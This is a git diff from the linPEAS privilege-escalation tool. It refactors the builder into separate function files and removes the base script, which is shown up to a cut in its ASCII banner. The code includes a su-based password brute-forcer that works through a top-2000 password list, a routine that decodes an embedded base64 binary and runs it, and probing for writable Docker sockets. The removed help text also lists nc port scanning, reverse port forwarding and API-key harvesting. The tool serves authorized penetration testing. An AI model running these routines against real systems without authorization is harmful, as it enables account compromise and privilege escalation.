'container=' /proc/1/environ 2>/dev/null; then + inContainer="1" + containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n" + fi + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/echo_no.sh b/linPEAS/builder/linpeas_parts/functions/echo_no.sh new file mode 100644 index 0000000..0a67303 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/echo_no.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - echo_no +# ID: echo_no +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Print No +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +echo_no (){ + printf $DG"No\n"$NC +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/echo_not_found.sh b/linPEAS/builder/linpeas_parts/functions/echo_not_found.sh new file mode 100644 index 0000000..4068a28 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/echo_not_found.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - echo_not_found +# ID: echo_not_found +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Print Not Found +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +echo_not_found(){ + printf $DG"$1 Not Found\n"$NC +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh b/linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh new file mode 100644 index 0000000..74091e8 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/enumerateDockerSockets.sh @@ -0,0 +1,50 @@ +# Title: Container - enumerateDockerSockets +# ID: enumerateDockerSockets +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Search Docker Sockets +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found +# Global Variables: $GREP_DOCKER_SOCK_INFOS, $GREP_DOCKER_SOCK_INFOS_IGNORE, $IAMROOT +# Initial Functions: +# Generated Global Variables: $SEARCHED_DOCKER_SOCKETS, $dock_sock, $docker_enumerated, $dockerVersion, $int_sock, $sockInfoResponse +# Fat linpeas: 0 +# Small linpeas: 1 + + +enumerateDockerSockets() { + dockerVersion="$(echo_not_found)" + if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then + SEARCHED_DOCKER_SOCKETS="1" + for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then + if echo "$int_sock" | grep -Eq "docker"; then + dock_sock="$int_sock" + echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" + echo "Docker enummeration:" + docker_enumerated="" + + if [ "$(command -v curl || echo -n '')" ]; then + sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) + echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi + fi + + if [ "$(command -v docker || echo -n '')" ] && ! [ "$docker_enumerated" ]; then + sockInfoResponse="$(docker info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) + printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + fi + + else + echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" + fi + + else + echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" + fi + done + fi +} diff --git a/linPEAS/builder/linpeas_parts/functions/execBin.sh b/linPEAS/builder/linpeas_parts/functions/execBin.sh new file mode 100644 index 0000000..8b5bbad --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/execBin.sh @@ -0,0 +1,31 @@ +# Title: LinPeasBase - execBin +# ID: execBin +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Write and exected an embedded binary +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_3title, print_info +# Global Variables: $Wfolder +# Initial Functions: +# Generated Global Variables: $TOOL_NAME, $TOOL_LINK, $B64_BIN, $PARAMS +# Fat linpeas: 0 +# Small linpeas: 1 + + +execBin(){ + TOOL_NAME=$1 + TOOL_LINK=$2 + B64_BIN=$3 + PARAMS=$4 + if [ "$B64_BIN" ]; then + echo "" + print_3title "Running $TOOL_NAME" + print_info "$TOOL_LINK" + echo "$B64_BIN" | base64 -d > $Wfolder/bin + chmod +x $Wfolder/bin + eval "$Wfolder/bin $PARAMS" + rm -f $Wfolder/bin + echo "" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh b/linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh new file mode 100644 index 0000000..ca7dad2 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/exec_with_jq.sh @@ -0,0 +1,25 @@ +# Title: Cloud - exec_with_jq +# ID: exec_with_jq +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Execute a command and if jq is installed, format the output +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +exec_with_jq(){ + if [ "$(command -v jq || echo -n '')" ]; then + $@ | jq 2>/dev/null; + if ! [ $? -eq 0 ]; then + $@; + fi + else + $@; + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh b/linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh new file mode 100644 index 0000000..663775d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/get_current_user_privot_pid.sh @@ -0,0 +1,38 @@ +# Title: LinPeasBase - execBin +# ID: get_current_user_privot_pid +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Write and exected an embedded binary +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $SEARCH_IN_FOLDER, $NOUSEPS +# Initial Functions: +# Generated Global Variables: $CURRENT_USER_PIVOT_PID, $pid, $ppid, $user, $ppid_user +# Fat linpeas: 0 +# Small linpeas: 1 + + +get_current_user_privot_pid(){ + CURRENT_USER_PIVOT_PID="" + if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then + # Function to get user by PID + get_user_by_pid() { + ps -p "$1" -o user | grep -v "USER" + } + + # Find processes with PPID and user info, then filter those where PPID's user is different from the process's user + ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do + if [ "$ppid" = "0" ]; then + continue + fi + ppid_user=$(get_user_by_pid "$ppid") + if echo "$user" | grep -Eqv "$ppid_user|root$"; then + if [ "$ppid_user" = "$USER" ]; then + CURRENT_USER_PIVOT_PID="$ppid" + fi + fi + done + echo "" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh b/linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh new file mode 100644 index 0000000..2f43b7d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/inDockerGroup.sh @@ -0,0 +1,21 @@ +# Title: Container - inDockerGroup +# ID: inDockerGroup +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Check if the user is in the docker group +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $DOCKER_GROUP +# Fat linpeas: 0 +# Small linpeas: 1 + + +inDockerGroup() { + DOCKER_GROUP="No" + if groups 2>/dev/null | grep -q '\bdocker\b'; then + DOCKER_GROUP="Yes" + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/macosNotSigned.sh b/linPEAS/builder/linpeas_parts/functions/macosNotSigned.sh new file mode 100644 index 0000000..cb905a5 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/macosNotSigned.sh @@ -0,0 +1,22 @@ +# Title: LinPeasBase - macosNotSigned +# ID: macosNotSigned +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get the macOS unsigned applications +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +macosNotSigned(){ + for f in $1/*; do + if codesign -vv -d \"$f\" 2>&1 | grep -q 'not signed'; then + echo "$f isn't signed" | sed -${E} "s,.*,${SED_RED}," + fi + done +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/print_info.sh b/linPEAS/builder/linpeas_parts/functions/print_info.sh new file mode 100644 index 0000000..231683f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/print_info.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - print_info +# ID: print_info +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Print info +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_info(){ + printf "${BLUE}╚ ${ITALIC_BLUE}$1\n"$NC +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/print_list.sh b/linPEAS/builder/linpeas_parts/functions/print_list.sh new file mode 100644 index 0000000..ff508fc --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/print_list.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - print_list +# ID: print_list +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Print list +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_list(){ + printf ${BLUE}"═╣ $GREEN$1"$NC #There is 1 "═" +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/print_ps.sh b/linPEAS/builder/linpeas_parts/functions/print_ps.sh new file mode 100644 index 0000000..a5695b3 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/print_ps.sh @@ -0,0 +1,24 @@ +# Title: LinPeasBase - print_ps +# ID: print_ps +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get processes reading /proc +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $CMDLINE, $USER2 +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_ps(){ + (ls -d /proc/*/ 2>/dev/null | while read f; do + CMDLINE=$(cat $f/cmdline 2>/dev/null | grep -av "seds,"); #Delete my own sed processess + if [ "$CMDLINE" ]; + then var USER2=ls -ld $f | awk '{print $3}'; PID=$(echo $f | cut -d "/" -f3); + printf " %-13s %-8s %s\n" "$USER2" "$PID" "$CMDLINE"; + fi; + done) 2>/dev/null | sort -r +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/10_api_keys_regex.sh b/linPEAS/builder/linpeas_parts/functions/search_for_regex.sh similarity index 82% rename from linPEAS/builder/linpeas_parts/10_api_keys_regex.sh rename to linPEAS/builder/linpeas_parts/functions/search_for_regex.sh index 09e7fa0..65a6b0a 100644 --- a/linPEAS/builder/linpeas_parts/10_api_keys_regex.sh +++ b/linPEAS/builder/linpeas_parts/functions/search_for_regex.sh @@ -1,3 +1,17 @@ +# Title: API Keys Regex - search_for_regex +# ID: search_for_regex +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Search for a given regex in the file system +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_3title_no_nl +# Global Variables: $backup_folders_row, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $regex, $title, $caseSensitive +# Fat linpeas: 0 +# Small linpeas: 1 + search_for_regex(){ title=$1 @@ -39,11 +53,3 @@ search_for_regex(){ wait printf "\033[2K\r" } - - - -if [ "$REGEXES" ] && [ "$TIMEOUT" ]; then - peass{REGEXES} -else - echo "Regexes to search for API keys aren't activated, use param '-r' " -fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh b/linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh new file mode 100644 index 0000000..2f7d803 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/su_brute_user_num.sh @@ -0,0 +1,30 @@ +# Title: LinPeasBase - su_brute_user_num +# ID: su_brute_user_num +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Brute force users with a list of passwords +# License: GNU GPL +# Version: 1.0 +# Functions Used: su_try_pwd +# Global Variables: $PASSWORD, $top2000pwds +# Initial Functions: +# Generated Global Variables: $BFUSER, $TRIES +# Fat linpeas: 0 +# Small linpeas: 1 + + +su_brute_user_num(){ + BFUSER=$1 + TRIES=$2 + su_try_pwd "$BFUSER" "" & #Try without password + su_try_pwd "$BFUSER" "$BFUSER" & #Try username as password + su_try_pwd "$BFUSER" "$(echo $BFUSER | rev 2>/dev/null)" & #Try reverse username as password + if [ "$PASSWORD" ]; then + su_try_pwd "$BFUSER" "$PASSWORD" & #Try given password + fi + for i in $(seq "$TRIES"); do + su_try_pwd "$BFUSER" "$(echo $top2000pwds | cut -d ' ' -f $i)" & #Try TOP TRIES of passwords (by default 2000) + sleep 0.007 # To not overload the system + done + wait +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh b/linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh new file mode 100644 index 0000000..377d51a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/su_try_pwd.sh @@ -0,0 +1,23 @@ +# Title: LinPeasBase - su_try_pwd +# ID: su_try_pwd +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Try to login as user using a password +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $BFUSER, $PASSWORDTRY, $trysu, $SED_RED_YELLOW +# Fat linpeas: 0 +# Small linpeas: 1 + + +su_try_pwd(){ + BFUSER=$1 + PASSWORDTRY=$2 + trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null) + if [ "$trysu" ]; then + echo " You can login as $BFUSER using password: $PASSWORDTRY" | sed -${E} "s,.*,${SED_RED_YELLOW}," + fi +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/functions/warn_exec.sh b/linPEAS/builder/linpeas_parts/functions/warn_exec.sh new file mode 100644 index 0000000..8a8a303 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/functions/warn_exec.sh @@ -0,0 +1,18 @@ +# Title: LinPeasBase - warn_exec +# ID: warn_exec +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Warn if a command is not found +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +warn_exec(){ + $* 2>/dev/null || echo_not_found $1 +} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/linpeas_base.sh b/linPEAS/builder/linpeas_parts/linpeas_base.sh deleted file mode 100755 index 0e6dff5..0000000 --- a/linPEAS/builder/linpeas_parts/linpeas_base.sh +++ /dev/null @@ -1,1159 +0,0 @@ -#!/bin/sh - -VERSION="ng" -ADVISORY="This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission." - -########################################### -#-------) Checks pre-everything (---------# -########################################### -if ([ -f /usr/bin/id ] && [ "$(/usr/bin/id -u)" -eq "0" ]) || [ "`whoami 2>/dev/null`" = "root" ]; then - IAMROOT="1" - MAXPATH_FIND_W="3" -else - IAMROOT="" - MAXPATH_FIND_W="7" -fi - - -########################################### -#---------------) Colors (----------------# -########################################### - -C=$(printf '\033') -RED="${C}[1;31m" -SED_RED="${C}[1;31m&${C}[0m" -GREEN="${C}[1;32m" -SED_GREEN="${C}[1;32m&${C}[0m" -YELLOW="${C}[1;33m" -SED_YELLOW="${C}[1;33m&${C}[0m" -RED_YELLOW="${C}[1;31;103m" -SED_RED_YELLOW="${C}[1;31;103m&${C}[0m" -BLUE="${C}[1;34m" -SED_BLUE="${C}[1;34m&${C}[0m" -ITALIC_BLUE="${C}[1;34m${C}[3m" -LIGHT_MAGENTA="${C}[1;95m" -SED_LIGHT_MAGENTA="${C}[1;95m&${C}[0m" -LIGHT_CYAN="${C}[1;96m" -SED_LIGHT_CYAN="${C}[1;96m&${C}[0m" -LG="${C}[1;37m" #LightGray -SED_LG="${C}[1;37m&${C}[0m" -DG="${C}[1;90m" #DarkGray -SED_DG="${C}[1;90m&${C}[0m" -NC="${C}[0m" -UNDERLINED="${C}[5m" -ITALIC="${C}[3m" - - -########################################### -#---------) Parsing parameters (----------# -########################################### -# --) FAST - Do not check 1min of procceses and su brute -# --) SUPERFAST - FAST & do not search for special filaes in all the folders - -if uname 2>/dev/null | grep -q 'Darwin' || /usr/bin/uname 2>/dev/null | grep -q 'Darwin'; then MACPEAS="1"; else MACPEAS=""; fi -FAST="1" # By default stealth/fast mode -SUPERFAST="" -DISCOVERY="" -PORTS="" -QUIET="" -CHECKS="peass{CHECKS}" -SEARCH_IN_FOLDER="" -ROOT_FOLDER="/" -WAIT="" -PASSWORD="" -NOCOLOR="" -DEBUG="" -AUTO_NETWORK_SCAN="" -EXTRA_CHECKS="" -REGEXES="" -PORT_FORWARD="" -THREADS="$( ( (grep -c processor /proc/cpuinfo 2>/dev/null) || ( (command -v lscpu >/dev/null 2>&1) && (lscpu | grep '^CPU(s):' | awk '{print $2}')) || echo -n 2) | tr -d "\n")" -[ -z "$THREADS" ] && THREADS="2" # If THREADS is empty, put number 2 -[ -n "$THREADS" ] && THREADS="2" # If THREADS is null, put number 2 -[ "$THREADS" -eq "$THREADS" ] 2>/dev/null && : || THREADS="2" # It THREADS is not a number, put number 2 -HELP=$GREEN"Enumerate and search Privilege Escalation vectors. -${NC}This tool enum and search possible misconfigurations$DG (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...)$NC inside the host and highlight possible misconfigurations with colors. - ${GREEN} Checks: - ${YELLOW} -a${BLUE} Perform all checks: 1 min of processes, su brute, and extra checks. - ${YELLOW} -o${BLUE} Only execute selected checks (peass{CHECKS}). Select a comma separated list. - ${YELLOW} -s${BLUE} Stealth & faster (don't check some time consuming checks) - ${YELLOW} -e${BLUE} Perform extra enumeration - ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files - ${YELLOW} -r${BLUE} Enable Regexes (this can take from some mins to hours) - ${YELLOW} -P${BLUE} Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su' - ${YELLOW} -D${BLUE} Debug mode - - ${GREEN} Network recon: - ${YELLOW} -t${BLUE} Automatic network scan & Internet conectivity checks - This option writes to files - ${YELLOW} -d ${BLUE} Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - ${YELLOW} -p -d ${BLUE} Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 - ${YELLOW} -i [-p ]${BLUE} Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080 - $GREEN Notice${BLUE} that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed - - ${GREEN} Port forwarding (reverse connection): - ${YELLOW} -F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT${BLUE} Execute linpeas to forward a port from a your host (LOCAL_IP:LOCAL_PORT) to a remote IP (REMOTE_IP:REMOTE_PORT) - - ${GREEN} Firmware recon: - ${YELLOW} -f ${BLUE} Execute linpeas to search passwords/file permissions misconfigs inside a folder - - ${GREEN} Misc: - ${YELLOW} -h${BLUE} To show this message - ${YELLOW} -w${BLUE} Wait execution between big blocks of checks - ${YELLOW} -L${BLUE} Force linpeas execution - ${YELLOW} -M${BLUE} Force macpeas execution - ${YELLOW} -q${BLUE} Do not show banner - ${YELLOW} -N${BLUE} Do not use colours$NC" - -while getopts "h?asd:p:i:P:qo:LMwNDterf:F:" opt; do - case "$opt" in - h|\?) printf "%s\n\n" "$HELP$NC"; exit 0;; - a) FAST="";EXTRA_CHECKS="1";; - s) SUPERFAST=1;; - d) DISCOVERY=$OPTARG;; - p) PORTS=$OPTARG;; - i) IP=$OPTARG;; - P) PASSWORD=$OPTARG;; - q) QUIET=1;; - o) CHECKS=$OPTARG;; - L) MACPEAS="";; - M) MACPEAS="1";; - w) WAIT=1;; - N) NOCOLOR="1";; - D) DEBUG="1";; - t) AUTO_NETWORK_SCAN="1"; CHECKS="network_information";; - e) EXTRA_CHECKS="1";; - r) REGEXES="1";; - f) SEARCH_IN_FOLDER=$OPTARG; - if ! [ "$(echo -n $SEARCH_IN_FOLDER | tail -c 1)" = "/" ]; then # Make sure firmware folder ends with "/" - SEARCH_IN_FOLDER="${SEARCH_IN_FOLDER}/"; - fi; - ROOT_FOLDER=$SEARCH_IN_FOLDER; - REGEXES="1"; - CHECKS="procs_crons_timers_srvcs_sockets,software_information,interesting_perms_files,interesting_files,api_keys_regex";; - - F) PORT_FORWARD=$OPTARG;; - esac -done - -if [ "$MACPEAS" ]; then SCRIPTNAME="macpeas"; else SCRIPTNAME="linpeas"; fi -if [ "$NOCOLOR" ]; then - C="" - RED="" - SED_RED="&" - GREEN="" - SED_GREEN="&" - YELLOW="" - SED_YELLOW="&" - SED_RED_YELLOW="&" - BLUE="" - SED_BLUE="&" - ITALIC_BLUE="" - LIGHT_MAGENTA="" - SED_LIGHT_MAGENTA="&" - LIGHT_CYAN="" - SED_LIGHT_CYAN="&" - LG="" - SED_LG="&" - DG="" - SED_DG="&" - NC="" - UNDERLINED="" - ITALIC="" -fi - - -########################################### -#---------------) BANNER (----------------# -########################################### - -print_banner(){ - if [ "$MACPEAS" ]; then - bash -c "printf ' \e[38;5;238m▄\e[38;5;233m▄\e[38;5;235m▄\e[38;5;65m▄\e[48;5;239m\e[38;5;107m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;0m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;232m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;240m\e[38;5;65m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[38;5;233m▄\e[38;5;232m▄\e[38;5;239m▄\e[0m - \e[38;5;233m▄\e[38;5;246m▄\e[48;5;234m\e[38;5;71m▄\e[48;5;237m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;65m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;235m\e[38;5;71m▄\e[0m\e[38;5;237m▄\e[38;5;234m▄\e[0m - \e[38;5;245m▄\e[38;5;233m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;239m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;236m\e[38;5;64m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;234m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;64m\e[38;5;76m▄\e[48;5;2m\e[38;5;76m▄\e[48;5;22m\e[38;5;76m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;232m\e[38;5;70m▄\e[48;5;234m\e[38;5;22m▄\e[48;5;65m\e[38;5;232m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;238m▄\e[0m - \e[38;5;239m▄\e[38;5;233m▄\e[48;5;235m\e[38;5;71m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;71m \e[38;5;0m▄\e[48;5;236m\e[38;5;2m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;70m\e[38;5;76m▄\e[48;5;76m \e[38;5;70m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;22m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;76m\e[38;5;64m▄\e[48;5;76m\e[38;5;70m▄\e[48;5;76m \e[48;5;22m\e[38;5;76m▄\e[48;5;0m\e[38;5;76m▄\e[48;5;234m\e[38;5;64m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;235m▄\e[48;5;71m \e[48;5;234m\e[38;5;71m▄\e[48;5;234m\e[38;5;71m▄\e[0m\e[38;5;234m▄\e[38;5;233m▄\e[0m - \e[38;5;233m▄\e[38;5;71m▄\e[48;5;233m\e[38;5;71m▄\e[48;5;71m \e[38;5;235m▄\e[48;5;65m\e[38;5;235m▄\e[48;5;0m\e[38;5;255m▄\e[48;5;22m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;242m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;254m\e[38;5;15m▄\e[48;5;15m \e[38;5;255m▄\e[48;5;255m\e[38;5;234m▄\e[48;5;248m\e[38;5;251m▄\e[48;5;240m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;64m\e[38;5;15m▄\e[48;5;70m\e[38;5;251m▄\e[48;5;76m\e[38;5;8m▄\e[48;5;76m\e[38;5;237m▄\e[48;5;76m\e[38;5;2m▄\e[48;5;64m\e[38;5;70m▄\e[48;5;232m\e[38;5;76m▄\e[48;5;238m\e[38;5;2m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;65m▄\e[48;5;71m \e[48;5;237m\e[38;5;71m▄\e[0m - \e[38;5;233m▄\e[48;5;238m\e[38;5;71m▄\e[48;5;236m\e[38;5;71m▄\e[48;5;71m \e[38;5;65m▄\e[48;5;238m\e[38;5;234m▄\e[48;5;235m\e[38;5;255m▄\e[48;5;15m \e[38;5;233m▄\e[48;5;253m\e[38;5;0m▄\e[48;5;255m\e[38;5;232m▄\e[48;5;242m\e[38;5;238m▄\e[48;5;242m\e[38;5;233m▄\e[48;5;15m\e[38;5;237m▄\e[48;5;15m\e[38;5;255m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;145m\e[38;5;15m▄\e[48;5;237m\e[38;5;15m▄\e[48;5;22m\e[38;5;255m▄\e[48;5;70m\e[38;5;248m▄\e[48;5;234m\e[38;5;235m▄\e[48;5;234m\e[38;5;233m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;238m▄\e[48;5;71m \e[0m - \e[48;5;71m \e[38;5;234m▄\e[48;5;233m\e[38;5;251m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;243m\e[38;5;235m▄\e[48;5;0m \e[38;5;243m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;15m \e[48;5;255m\e[38;5;15m▄\e[48;5;249m\e[38;5;15m▄\e[48;5;235m\e[38;5;15m▄\e[48;5;232m\e[38;5;15m▄\e[48;5;235m\e[38;5;145m▄\e[48;5;71m\e[38;5;0m▄\e[48;5;71m\e[38;5;232m▄\e[48;5;71m\e[38;5;233m▄\e[48;5;71m\e[38;5;237m▄\e[0m - \e[48;5;71m \e[48;5;65m\e[38;5;232m▄\e[48;5;241m\e[38;5;15m▄\e[48;5;15m \e[48;5;236m\e[38;5;245m▄\e[48;5;0m \e[48;5;247m\e[38;5;232m▄\e[48;5;15m \e[48;5;247m\e[38;5;15m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[48;5;237m\e[38;5;236m▄\e[0m - \e[48;5;71m \e[38;5;238m▄\e[48;5;234m\e[38;5;243m▄\e[48;5;253m\e[38;5;15m▄\e[48;5;15m \e[48;5;0m\e[38;5;7m▄\e[48;5;0m\e[38;5;239m▄\e[48;5;0m\e[38;5;102m▄\e[48;5;0m\e[38;5;234m▄\e[48;5;0m\e[38;5;232m▄\e[48;5;0m\e[38;5;252m▄\e[48;5;255m\e[38;5;15m▄\e[48;5;15m \e[48;5;239m\e[38;5;7m▄\e[48;5;236m\e[38;5;235m▄\e[48;5;236m \e[0m - \e[48;5;71m \e[38;5;236m▄\e[48;5;234m\e[38;5;250m▄\e[48;5;15m 